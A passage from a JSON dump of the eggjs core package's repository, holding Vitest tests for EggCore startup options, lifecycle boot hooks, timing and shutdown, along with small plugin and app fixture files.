app.loader.loadApplicationExtend();\n    await app.loader.loadService();\n    assert.equal((app as any).appExtend, undefined);\n    assert(app.serviceClasses.lord);\n    assert(!app.serviceClasses.test);\n  });\n\n  it.skip('should not load ts files while EGG_TYPESCRIPT was true but no extensions', async () => {\n    mm(process.env, 'EGG_TYPESCRIPT', 'true');\n    mm(utils, 'extensions', ['.js', '.json']);\n    app = createApp('egg-ts-js');\n    await app.loader.loadService();\n    assert(app.serviceClasses.lord);\n    assert(!app.serviceClasses.test);\n  });\n\n  it.skip('should compile app-ts without error', async () => {\n    await coffee\n      .spawn('node', ['--require', 'ts-node/register/type-check', getFilepath('app-ts/app.ts')], {\n        env: {\n          ...process.env,\n          TS_NODE_PROJECT: getFilepath('app-ts/tsconfig.json'),\n        },\n      })\n      .debug()\n      .expect('code', 0)\n      .end();\n  });\n\n  it.skip('should compile error with app-ts/error', async () => {\n    await coffee\n      .spawn('node', ['--require', 'ts-node/register/type-check', getFilepath('app-ts/app-error.ts')], {\n        env: {\n          ...process.env,\n          TS_NODE_PROJECT: getFilepath('app-ts/tsconfig.json'),\n        },\n      })\n      .debug()\n      .expect('stderr', /Property 'abb' does not exist on type 'EggCore<{ env: string; }>'/)\n      .expect('stderr', /Property 'abc' does not exist on type 'typeof BaseContextClass'/)\n      .expect('stderr', /'loadPlugin' is protected/)\n      .expect('stderr', /'loadConfig' is protected/)\n      .expect('stderr', /'loadApplicationExtend' is protected/)\n      .expect('stderr', /'loadAgentExtend' is protected/)\n      .expect('stderr', /'loadRequestExtend' is protected/)\n      .expect('stderr', /'loadResponseExtend' is protected/)\n      .expect('stderr', /'loadContextExtend' is protected/)\n      .expect('stderr', /'loadHelperExtend' is protected/)\n      .expect('stderr', /'loadCustomAgent' is protected/)\n      .expect('stderr', /'loadService' is protected/)\n      .expect('stderr', /'loadController' is protected/)\n      .expect('stderr', /Property 'checkEnvType' does not exist on type 'string'/)\n      .expect('stderr', /'ctx' is protected/)\n      .expect('code', 1)\n      .end();\n  });\n});\n"
  },
  {
    "path": "packages/core/test/egg.test.ts",
    "content": "import { strict as assert } from 'node:assert/strict';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { setTimeout as sleep } from 'node:timers/promises';\nimport util from 'node:util';\n\nimport { request } from '@eggjs/supertest';\nimport coffee from 'coffee';\nimport { mm } from 'mm';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';\n\nimport { EggCore } from '../src/index.js';\nimport { createApp, getFilepath, type Application } from './helper.js';\n\ndescribe('test/egg.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('create EggCore', () => {\n    let app: EggCore;\n    afterAll(() => app && app.close());\n\n    it('should set options and _options', async () => {\n      app = new EggCore();\n      assert.equal((app as any)._options, undefined);\n      assert.deepEqual(app.options, {\n        baseDir: process.cwd(),\n        type: 'application',\n      });\n      await app.loader.loadApplicationExtend();\n      await app.loader.loadCustomApp();\n      await app.ready();\n    });\n\n    it('should use cwd when no options', () => {\n      app = new EggCore();\n      assert.equal(app.options.baseDir, process.cwd());\n    });\n\n    it('should export logger and coreLogger', () => {\n      app = new EggCore();\n      assert.equal(typeof app.logger.info, 'function');\n      assert.equal(typeof app.coreLogger.error, 'function');\n      app.logger.info('hello egg logger info level');\n      app.coreLogger.warn('hello egg coreLogger warn level');\n    });\n\n    it('should set default application when no type', () => {\n      app = new EggCore();\n      assert.equal(app.type, 'application');\n    });\n\n    it('should use options.serverScope', () => {\n      app = new EggCore({ serverScope: 'scope' });\n      assert.equal(app.loader.serverScope, 'scope');\n    });\n\n    it('should not set value expect for application and agent', () => {\n      assert.throws(\n        () =>\n          new EggCore({\n            // @ts-expect-error test error\n            type: 'nothing',\n          }),\n        /options.type should be application or agent/,\n      );\n    });\n\n    it('should throw options.baseDir required', () => {\n      assert.throws(\n        () =>\n          new EggCore({\n            // @ts-expect-error test error\n            baseDir: 1,\n          }),\n        /options.baseDir required, and must be a string/,\n      );\n    });\n\n    it('should throw options.baseDir not exist', () => {\n      assert.throws(\n        () =>\n          new EggCore({\n            baseDir: 'not-exist',\n          }),\n        /not-exist not exists/,\n      );\n    });\n\n    it('should throw options.baseDir is not a directory', () => {\n      assert.throws(\n        () =>\n          new EggCore({\n            baseDir: getFilepath('egg/index.js'),\n          }),\n        /not a directory|no such file or directory/,\n      );\n    });\n\n    it('should throw process.env.EGG_READY_TIMEOUT_ENV should be able to parseInt', () => {\n      mm(process.env, 'EGG_READY_TIMEOUT_ENV', 'notAnNumber');\n      assert.throws(() => new EggCore(), /process.env.EGG_READY_TIMEOUT_ENV notAnNumber should be able to parseInt/);\n    });\n  });\n\n  describe('getters', () => {\n    let app: EggCore;\n    beforeAll(async () => {\n      app = createApp('app-getter');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should has get type', () => {\n      assert.equal(app.type, 'application');\n    });\n\n    it('should has baseDir', () => {\n      assert.equal(app.baseDir, getFilepath('app-getter'));\n    });\n\n    it('should has name', () => {\n      assert.equal(app.name, 'app-getter');\n    });\n\n    it('should has plugins', () => {\n      assert(app.plugins, 'should has plugins');\n      assert.equal(app.plugins, app.loader.plugins);\n    });\n\n    it('should has config', () => {\n      assert(app.config);\n      assert.equal(app.config, app.loader.config);\n    });\n  });\n\n  describe('app.deprecate()', () => {\n    let app: Application;\n    afterEach(() => app && app.close());\n\n    it('should deprecate with namespace egg', async () => {\n      app = createApp('deprecate');\n      await app.loader.loadAll();\n      assert.equal(typeof app.deprecate, 'function');\n    });\n  });\n\n  describe('app.readyCallback()', () => {\n    let app: Application;\n    afterEach(() => app.close());\n\n    // FIXME: no callback done\n    it.skip('should log info when plugin is not ready', (done) => {\n      app = createApp('notready');\n      mm(app.console, 'warn', (message: string, b: any, a: any) => {\n        assert.equal(message, '[@eggjs/core/lifecycle:ready_timeout] %s seconds later %s was still unable to finish.');\n        assert.equal(b, 10);\n        assert.equal(a, 'a');\n        // console.log(app.timing.toString());\n        // @ts-ignore\n        done();\n      });\n      app.loader.loadAll().then(() => {\n        app.ready(() => {\n          throw new Error('should not be called');\n        });\n      });\n    });\n\n    // FIXME: not work in vitest\n    it.skip('should log info when plugin is ready', (done) => {\n      app = createApp('ready');\n      app.loader.loadAll();\n      let message = '';\n      mm(app.console, 'info', (a: any, b: any, c: any) => {\n        message += util.format(a, b, c);\n      });\n      app.ready(() => {\n        assert.match(message, /\\[@eggjs\\/core\\/lifecycle:ready_stat] end ready task a, remain \\[\"b\"]/);\n        assert.match(message, /\\[@eggjs\\/core\\/lifecycle:ready_stat] end ready task b, remain \\[]/);\n        // console.log(app.timing.toString());\n        // @ts-ignore\n        done();\n      });\n    });\n  });\n\n  // FIXME: not work in vitest\n  describe.skip('app.beforeStart()', () => {\n    let app: Application;\n    afterEach(() => app.close());\n\n    it('should beforeStart param error', async () => {\n      await assert.rejects(async () => {\n        app = createApp('beforestart-params-error');\n        await app.loader.loadAll();\n      }, /boot only support function/);\n    });\n\n    // FIXME: not work in vitest\n    it.skip('should beforeStart execute success', async () => {\n      app = createApp('beforestart');\n      await app.loader.loadAll();\n      await app.ready();\n      assert.equal((app as any).beforeStartFunction, true, 'beforeStartFunction');\n      assert.equal((app as any).beforeStartGeneratorFunction, true, 'beforeStartGeneratorFunction');\n      assert.equal((app as any).beforeStartAsyncFunction, true, 'beforeStartAsyncFunction');\n      assert.equal((app as any).beforeStartTranslateAsyncFunction, true, 'beforeStartTranslateAsyncFunction');\n    });\n\n    it('should beforeStart execute success with EGG_READY_TIMEOUT_ENV', async () => {\n      mm(process.env, 'EGG_READY_TIMEOUT_ENV', '12000');\n      app = createApp('beforestart-with-timeout-env');\n      await app.loader.loadAll();\n      await app.ready();\n      assert.equal((app as any).beforeStartFunction, true, 'beforeStartFunction');\n      const timeline = app.timing.toString();\n      // console.log(timeline);\n      assert.match(timeline, /#14 Before Start in app.js:4:7/);\n    });\n\n    // it('should beforeStart execute timeout without EGG_READY_TIMEOUT_ENV too short', done => {\n    //   done = pending(2, done);\n    //   mm(process.env, 'EGG_READY_TIMEOUT_ENV', '1000');\n    //   app = createApp('beforestart-with-timeout-env');\n    //   app.loader.loadAll().then(done, done);\n    //   app.once('ready_timeout', id => {\n    //     const file = path.normalize(\n    //       'test/fixtures/beforestart-with-timeout-env/app.js'\n    //     );\n    //     assert(id.includes(file));\n    //     const timeline = app.timing.toString();\n    //     // console.log(timeline);\n    //     assert.match(timeline, /▇ \\[\\d+ms NOT_END] - #1 application Start/);\n    //     assert.match(\n    //       timeline,\n    //       /▇ \\[\\d+ms NOT_END] - #14 Before Start in app.js:4:7/\n    //     );\n    //     done();\n    //   });\n    // });\n\n    // it('should beforeStart execute failed', done => {\n    //   done = pending(2, done);\n    //   app = createApp('beforestart-error');\n    //   app.loader.loadAll().then(done, done);\n    //   app.once('error', err => {\n    //     assert.equal(err.message, 'not ready');\n    //     // console.log(app.timing.toString());\n    //     done();\n    //   });\n    // });\n\n    it('should get error from ready when beforeStart execute failed', async () => {\n      app = createApp('beforestart-error');\n      await app.loader.loadAll();\n      try {\n        await app.ready();\n        throw new Error('should not run');\n      } catch (err: any) {\n        assert(err.message === 'not ready');\n        // console.log(app.timing.toString());\n      }\n    });\n\n    // it('should beforeStart excute timeout', done => {\n    //   done = pending(2, done);\n    //   app = createApp('beforestart-timeout');\n    //   app.loader.loadAll().then(done, done);\n    //   app.once('ready_timeout', id => {\n    //     const file = path.normalize('test/fixtures/beforestart-timeout/app.js');\n    //     assert(id.includes(file));\n    //     done();\n    //   });\n    // });\n  });\n\n  describe('app.close(): Promise<void>', () => {\n    let app;\n\n    // it.skip('should emit close event before exit', done => {\n    //   // @ts-ignore\n    //   done = pending(3, done);\n    //   app = createApp('close');\n    //   app.loader.loadAll().then(\n    //     // @ts-ignore\n    //     done,\n    //     // @ts-ignore\n    //     done\n    //   );\n    //   app.on('close', () => {\n    //     // @ts-ignore\n    //     done();\n    //   });\n    //   app.close().then(\n    //     // @ts-ignore\n    //     done,\n    //     // @ts-ignore\n    //     done\n    //   );\n    // });\n\n    it('should return a promise', async () => {\n      app = createApp('close');\n      const promise = app.close();\n      assert(promise instanceof Promise);\n      await promise;\n    });\n\n    // it.skip('should throw when close error', done => {\n    //   // @ts-ignore\n    //   done = pending(2, done);\n    //   app = createApp('close');\n    //   app.loader.loadAll().then(\n    //     // @ts-ignore\n    //     done,\n    //     // @ts-ignore\n    //     done\n    //   );\n    //   mm(app, 'removeAllListeners', () => {\n    //     throw new Error('removeAllListeners error');\n    //   });\n    //   app.close().catch(err => {\n    //     assert.equal(err.message, 'removeAllListeners error');\n    //     // @ts-ignore\n    //     done();\n    //   });\n    // });\n\n    // it('should close only once', done => {\n    //   const fn = spy();\n    //   app = utils.createApp('close');\n    //   app.beforeClose(fn);\n    //   Promise.all([\n    //     app.close(),\n    //     app.close(),\n    //   ]).then(() => {\n    //     assert(fn.callCount === 1);\n    //     done();\n    //   }).catch(done);\n    //   assert(app.close().then);\n    // });\n\n    // FIXME: not work in vitest\n    it.skip('should throw error when call after error', async () => {\n      app = createApp('close');\n      await app.loader.loadAll();\n      await app.ready();\n      app.beforeClose(() => {\n        throw new Error('error');\n      });\n      try {\n        await app.close();\n        throw new Error('should not run');\n      } catch (err: any) {\n        assert(err.message === 'error');\n      }\n      try {\n        await app.close();\n        throw new Error('should not run');\n      } catch (err: any) {\n        assert(err.message === 'error');\n      }\n    });\n  });\n\n  // FIXME: not work in vitest\n  describe.skip('app.beforeClose', () => {\n    let app: Application;\n    beforeEach(async () => {\n      app = createApp('app-before-close');\n      await app.loader.loadAll();\n      await app.ready();\n    });\n    afterEach(() => app && app.close());\n\n    it('should wait beforeClose', async () => {\n      await app.close();\n      assert.equal((app as any).closeFn, true, 'closeFn');\n      assert.equal((app as any).closeGeneratorFn, true, 'closeGeneratorFn');\n      assert.equal((app as any).closeAsyncFn, true, 'closeAsyncFn');\n      assert.equal((app as any).onlyOnce, false, 'onlyOnce');\n      assert.equal((app as any).closeEvent, 'after', 'closeEvent');\n      assert.equal((app as any).closeOrderArray.join(','), 'closeAsyncFn,closeGeneratorFn,closeFn');\n    });\n\n    it('should throw when call beforeClose without function', () => {\n      assert.throws(() => {\n        (app as any).beforeClose();\n      }, /argument should be function/);\n    });\n\n    it('should close only once', async () => {\n      await app.close();\n      await app.close();\n      assert.equal((app as any).callCount, 1, 'callCount');\n    });\n  });\n\n  // FIXME: not work in vitest\n  describe.skip('Service and Controller', () => {\n    let app: Application;\n    beforeAll(async () => {\n      app = createApp('extend-controller-service');\n      await app.loader.loadAll();\n      await app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should redefine Controller and Service ok', async () => {\n      await request(app.callback())\n        .get('/success')\n        .expect(200)\n        .expect({ success: true, result: { foo: 'bar' } });\n\n      await request(app.callback()).get('/fail').expect(200).expect({ success: false, message: 'something wrong' });\n    });\n  });\n\n  describe.skip('run with DEBUG', () => {\n    it('should ready', async () => {\n      mm(process.env, 'DEBUG', '*');\n      await coffee.fork(getFilepath('run-with-debug/index.js')).debug().expect('code', 0).end();\n    });\n  });\n\n  // describe('toAsyncFunction', () => {\n  //   let app: EggCore;\n  //   before(() => {\n  //     app = new EggCore();\n  //   });\n\n  //   it('translate generator function', () => {\n  //     const fn = function* (arg) {\n  //       assert.deepEqual(this, { foo: 'bar' });\n  //       return arg;\n  //     };\n  //     const wrapped = app.toAsyncFunction(fn);\n  //     assert(is.asyncFunction(wrapped));\n  //     return wrapped.call({ foo: 'bar' }, true).then(res => assert(res === true));\n  //   });\n\n  //   it('not translate common function', () => {\n  //     const fn = arg => Promise.resolve(arg);\n  //     const wrapped = app.toAsyncFunction(fn);\n  //     return wrapped(true).then(res => assert(res === true));\n  //   });\n\n  //   it('not translate common values', () => {\n  //     const primitiveValues = [ 1, 2, 3, 4, 5, 6 ];\n  //     const wrapped = app.toAsyncFunction(primitiveValues);\n  //     return assert(wrapped === primitiveValues);\n  //   });\n  // });\n\n  // describe('toPromise', () => {\n  //   let app: EggCore;\n  //   before(() => {\n  //     app = new EggCore();\n  //   });\n\n  //   it('translate array', () => {\n  //     const fn = function* (arg) {\n  //       return arg;\n  //     };\n  //     const arr = [ fn(1), fn(2) ];\n  //     const promise = app.toPromise(arr);\n  //     return promise.then(res => assert.deepEqual(res, [ 1, 2 ]));\n  //   });\n\n  //   it('translate object', () => {\n  //     const fn = function* (arg) {\n  //       return arg;\n  //     };\n  //     const obj = {\n  //       first: fn(1),\n  //       second: fn(2),\n  //       third: 3,\n  //     };\n  //     const promise = app.toPromise(obj);\n  //     return promise.then(res => assert.deepEqual(res, {\n  //       first: 1,\n  //       second: 2,\n  //       third: 3,\n  //     }));\n  //   });\n  // });\n\n  // FIXME: not work in vitest\n  describe.skip('timing', () => {\n    let app: Application;\n    afterAll(() => app && app.close());\n\n    describe('app', () => {\n      it('should get timing', async () => {\n        app = createApp('timing');\n        await app.loader.loadPlugin();\n        await app.loader.loadConfig();\n        await app.loader.loadApplicationExtend();\n        await app.loader.loadCustomApp();\n        // app.loader.loadCustomAgent();\n        await app.loader.loadService();\n        await app.loader.loadMiddleware();\n        await app.loader.loadController();\n        await app.loader.loadRouter();\n        await app.ready();\n\n        const json = app.timing.toJSON();\n        assert(json.length === 28);\n\n        assert(json[1].name === 'application Start');\n        assert(json[1].end);\n        assert.equal(json[1].end - json[1].start, json[1].duration);\n        assert(json[1].pid === process.pid);\n\n        // loadPlugin\n        assert(json[2].name === 'Load Plugin');\n\n        // loadConfig\n        assert(json[3].name === 'Load Config');\n        assert(json[4].name === 'Require(0) config/config.default.js');\n        assert(json[6].name === 'Require(2) config/config.default.js');\n\n        // loadExtend\n        assert(json[8].name === 'Load extend/application.js');\n        assert(json[10].name === 'Require(5) app/extend/application.js');\n\n        // loadCustomApp\n        assert(json[11].name === 'Load app.js');\n        // test/fixtures/egg/node_modules/session/app.js\n        assert(json[12].name.startsWith('Require(6) '));\n        assert(json[13].name === 'Require(7) app.js');\n        assert.equal(json[14].name, 'Before Start in app.js:9:7');\n        assert(json[15].name === 'Before Start in mock Block');\n        assert(json[16].name === 'readyCallback in mockReadyCallbackWithoutFunction');\n\n        assert(json[17].name === 'Load \"proxy\" to Context');\n        assert(json[18].name === 'Load Controller');\n        assert(json[19].name === 'Load \"controller\" to Application');\n\n        // loadService\n        assert(json[20].name === 'Load Service');\n        assert(json[21].name === 'Load \"service\" to Context');\n\n        // loadMiddleware\n        assert(json[22].name === 'Load Middleware');\n        assert(json[23].name === 'Load \"middlewares\" to Application');\n\n        // loadController\n        assert(json[24].name === 'Load Controller');\n        assert(json[25].name === 'Load \"controller\" to Application');\n\n        // loadRouter\n        assert(json[26].name === 'Load Router');\n        assert(json[27].name === 'Require(8) app/router.js');\n      });\n    });\n\n    describe('agent', () => {\n      it('should get timing', async () => {\n        app = createApp('timing');\n        await app.loader.loadPlugin();\n        await app.loader.loadConfig();\n        await app.loader.loadApplicationExtend();\n        await app.loader.loadCustomAgent();\n        await app.ready();\n\n        const json = app.timing.toJSON();\n        assert(json.length === 14);\n\n        assert.equal(json[1].name, 'application Start');\n        assert(json[1].end);\n        assert.equal(json[1].end - json[1].start, json[1].duration);\n        assert.equal(json[1].pid, process.pid);\n\n        // loadPlugin\n        assert.equal(json[2].name, 'Load Plugin');\n\n        // loadConfig\n        assert.equal(json[3].name, 'Load Config');\n        assert.equal(json[4].name, 'Require(0) config/config.default.js');\n        assert.equal(json[6].name, 'Require(2) config/config.default.js');\n\n        // loadExtend\n        assert.equal(json[8].name, 'Load extend/application.js');\n        assert.equal(json[10].name, 'Require(5) app/extend/application.js');\n\n        // loadCustomAgent\n        assert.equal(json[11].name, 'Load agent.js');\n        assert.equal(json[12].name, 'Require(6) agent.js');\n        assert.equal(json[13].name, 'Before Start in agent.js:8:9');\n      });\n    });\n\n    describe.skip('script timing', () => {\n      it('should work', async () => {\n        const fixtureApp = getFilepath('timing');\n        await coffee\n          .fork(path.join(fixtureApp, 'index.js'))\n          .beforeScript(path.join(fixtureApp, 'preload'))\n          .debug()\n          .expect('code', 0)\n          .end();\n        const timingJSON = await fs.readFile(path.join(fixtureApp, 'timing.json'), 'utf8');\n        const timing = JSON.parse(timingJSON);\n        const scriptStart = timing.find((item: any) => item.name === 'Script Start');\n        assert(scriptStart);\n        assert(scriptStart.start);\n        assert(scriptStart.end);\n      });\n    });\n  });\n\n  describe('boot', () => {\n    describe('boot success', () => {\n      describe('app worker', () => {\n        it('should success', async () => {\n          const app = createApp('boot');\n          await app.loader.loadAll();\n          await app.ready();\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'app.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n          ]);\n          await sleep(10);\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'app.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n            'didReady',\n          ]);\n          await app.lifecycle.triggerServerDidReady();\n          await sleep(10);\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'app.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n            'didReady',\n            'serverDidReady',\n          ]);\n          await app.close();\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'app.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n            'didReady',\n            'serverDidReady',\n            'beforeClose',\n          ]);\n        });\n      });\n\n      describe('agent worker', () => {\n        it('should success', async () => {\n          const app = createApp('boot', { type: 'agent' });\n          await app.loader.loadPlugin();\n          await app.loader.loadConfig();\n          await app.loader.loadAgentExtend();\n          await app.loader.loadCustomAgent();\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'agent.js in plugin',\n            'configDidLoad in app',\n          ]);\n          await app.ready();\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'agent.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n          ]);\n          await sleep(10);\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'agent.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n            'didReady',\n          ]);\n          await app.lifecycle.triggerServerDidReady();\n          await sleep(10);\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'agent.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n            'didReady',\n            'serverDidReady',\n          ]);\n          await app.close();\n          assert.deepStrictEqual((app as any).bootLog, [\n            'configDidLoad in plugin',\n            'agent.js in plugin',\n            'configDidLoad in app',\n            'didLoad',\n            'beforeStart',\n            'willReady',\n            'ready',\n            'didReady',\n            'serverDidReady',\n            'beforeClose',\n          ]);\n        });\n      });\n    });\n\n    describe('configDidLoad failed', () => {\n      it('should throw error', async () => {\n        const app = createApp('boot-configDidLoad-error');\n        let error: any;\n        try {\n          await app.loader.loadAll();\n          await app.ready();\n        } catch (e) {\n          error = e;\n        }\n        assert.strictEqual(error.message, 'configDidLoad error');\n        assert.deepStrictEqual((app as any).bootLog, []);\n      });\n    });\n\n    describe('didLoad failed', () => {\n      it('should throw error', async () => {\n        const app = createApp('boot-didLoad-error');\n        await app.loader.loadAll();\n        let error: any;\n        try {\n          await app.ready();\n        } catch (e) {\n          error = e;\n        }\n        assert.strictEqual(error.message, 'didLoad error');\n        // assert.deepEqual((app as any).bootLog, ['configDidLoad']);\n        await sleep(100);\n        assert.deepEqual((app as any).bootLog, ['configDidLoad', 'didReady']);\n        await app.close();\n        assert.deepEqual((app as any).bootLog, ['configDidLoad', 'didReady', 'beforeClose']);\n        // console.log(app.timing.toString());\n        assert.match(app.timing.toString(), /egg start timeline:/);\n        assert.match(app.timing.toString(), /#1 application Start/);\n      });\n    });\n\n    describe('willReady failed', () => {\n      it('should throw error', async () => {\n        if (process.version.startsWith('v23.')) return;\n        const app = createApp('boot-willReady-error');\n        await app.loader.loadAll();\n        let error: any;\n        try {\n          await app.ready();\n        } catch (e) {\n          error = e;\n        }\n        assert.deepStrictEqual((app as any).bootLog, ['configDidLoad', 'didLoad']);\n        assert.strictEqual(error.message, 'willReady error');\n        await sleep(10);\n        assert.deepStrictEqual((app as any).bootLog, ['configDidLoad', 'didLoad', 'didReady']);\n        await app.close();\n        // assert.deepStrictEqual(\n        //   (app as any).bootLog,\n        //   [\n        //     'configDidLoad',\n        //     'didLoad',\n        //     'didReady',\n        //     'beforeClose',\n        //   ]);\n      });\n    });\n\n    describe('didReady failed', () => {\n      it('should throw error', async () => {\n        if (process.version.startsWith('v23.')) return;\n        const app = createApp('boot-didReady-error');\n        await app.loader.loadAll();\n        await app.ready();\n\n        assert.deepStrictEqual((app as any).bootLog, ['configDidLoad', 'didLoad', 'willReady']);\n        let error: any;\n        try {\n          await new Promise((_resolve, reject) => {\n            app.on('error', (err) => reject(err));\n          });\n        } catch (e) {\n          error = e;\n        }\n        assert.strictEqual(error.message, 'didReady error');\n        await app.close();\n        assert.deepStrictEqual((app as any).bootLog, ['configDidLoad', 'didLoad', 'willReady', 'beforeClose']);\n      });\n    });\n\n    describe('serverDidLoad failed', () => {\n      it('should throw error', async () => {\n        const app = createApp('boot-serverDidLoad-error');\n        await app.loader.loadAll();\n        await app.ready();\n        await sleep(10);\n        assert.deepStrictEqual((app as any).bootLog, ['configDidLoad', 'didLoad', 'willReady', 'didReady']);\n        app.lifecycle.triggerServerDidReady();\n        let error: any;\n        try {\n          await new Promise((_resolve, reject) => {\n            app.on('error', (err) => reject(err));\n          });\n        } catch (e) {\n          error = e;\n        }\n        assert.strictEqual(error.message, 'serverDidReady failed');\n      });\n    });\n\n    describe('use ready(func)', () => {\n      it('should success', async () => {\n        console.log('start boot');\n        const app = createApp('boot');\n        await app.loader.loadAll();\n        await app.ready();\n        assert.deepEqual((app as any).bootLog, [\n          'configDidLoad in plugin',\n          'app.js in plugin',\n          'configDidLoad in app',\n          'didLoad',\n          'beforeStart',\n          'willReady',\n          'ready',\n        ]);\n        app.ready(() => {\n          (app as any).bootLog.push('readyFunction');\n        });\n        await sleep(10);\n        assert.deepEqual((app as any).bootLog, [\n          'configDidLoad in plugin',\n          'app.js in plugin',\n          'configDidLoad in app',\n          'didLoad',\n          'beforeStart',\n          'willReady',\n          'ready',\n          'readyFunction',\n          'didReady',\n        ]);\n        await app.close();\n      });\n    });\n\n    describe('boot timeout', () => {\n      beforeEach(() => {\n        mm(process.env, 'EGG_READY_TIMEOUT_ENV', 1);\n      });\n\n      it('should warn write filename and function', async () => {\n        let timeoutId: any;\n        const app = createApp('boot-timeout');\n        app.once('ready_timeout', (id) => {\n          timeoutId = id;\n        });\n        await app.loader.loadAll();\n        await app.ready();\n        assert(timeoutId);\n        const suffix = path.normalize('test/fixtures/boot-timeout/app.js');\n        assert(timeoutId.endsWith(suffix + ':didLoad'));\n        await app.close();\n      });\n    });\n\n    describe('beforeClose order', () => {\n      it('should be plugin dep -> plugin -> app', async () => {\n        const app = createApp('boot-before-close');\n        await app.loader.loadAll();\n        await app.close();\n        assert.deepEqual((app as any).bootLog, [\n          'beforeClose in app',\n          'beforeClose in plugin',\n          'beforeClose in plugin dep',\n        ]);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/app/extend/agent.js",
    "content": "'use strict';\n\nmodule.exports = {\n  foo: 'agent bar',\n  bar: 'foo',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: true,\n  b: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/node_modules/a/app/extend/agent.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: 'plugin a',\n  poweredBy: 'plugin a',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/node_modules/b/app/extend/agent.js",
    "content": "'use strict';\n\nmodule.exports = {\n  b: 'plugin b',\n  foo: 'bar plugin b',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/agent/package.json",
    "content": "{\n  \"name\": \"application\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-before-close/app.js",
    "content": "module.exports = (app) => {\n  app.closeFn = false;\n  app.closeGeneratorFn = false;\n  app.closeAsyncFn = false;\n  app.closeOrderArray = [];\n\n  app.beforeClose(() => {\n    app.closeFn = true;\n    app.closeOrderArray.push('closeFn');\n  });\n  app.beforeClose(async function () {\n    app.closeGeneratorFn = true;\n    app.closeOrderArray.push('closeGeneratorFn');\n  });\n  app.beforeClose(function () {\n    app.closeOrderArray.push('closeAsyncFn');\n    return new Promise((resolve) => {\n      app.closeAsyncFn = true;\n      resolve();\n    });\n  });\n\n  let count = 0;\n  function onlyOnce() {\n    if (count === 0) {\n      app.onlyOnce = false;\n    } else {\n      app.onlyOnce = true;\n    }\n    count++;\n  }\n  app.beforeClose(onlyOnce);\n  app.beforeClose(onlyOnce);\n\n  app.beforeClose(() => {\n    app.closeEvent = 'before';\n  });\n  app.once('close', () => {\n    app.closeEvent = 'after';\n  });\n\n  app.beforeClose(() => {\n    if (!app.callCount) {\n      app.callCount = 1;\n    } else {\n      app.callCount++;\n    }\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/app-before-close/package.json",
    "content": "{\n  \"name\": \"app-before-close\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-core-middleware/config/config.default.js",
    "content": "exports.coreMiddleware = [];\n"
  },
  {
    "path": "packages/core/test/fixtures/app-core-middleware/package.json",
    "content": "{\n  \"name\": \"coreMiddleware\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-getter/package.json",
    "content": "{\n  \"name\": \"app-getter\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-noname/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-pkg/package.json",
    "content": "{\n  \"name\": \"app-outdir-pkg\",\n  \"egg\": {\n    \"outDir\": \"dist\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-precedence/build/config/config.default.js",
    "content": "// Compiled output in build/ (tsconfig outDir)\nexport default {\n  from: 'compiled-build',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-precedence/package.json",
    "content": "{\n  \"name\": \"app-outdir-precedence\",\n  \"egg\": {\n    \"outDir\": \"dist\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-precedence/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"outDir\": \"build\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-tsconfig/build/config/config.default.js",
    "content": "// Compiled JavaScript output\nexport default {\n  from: 'compiled-build',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/app-outdir-tsconfig/package.json",
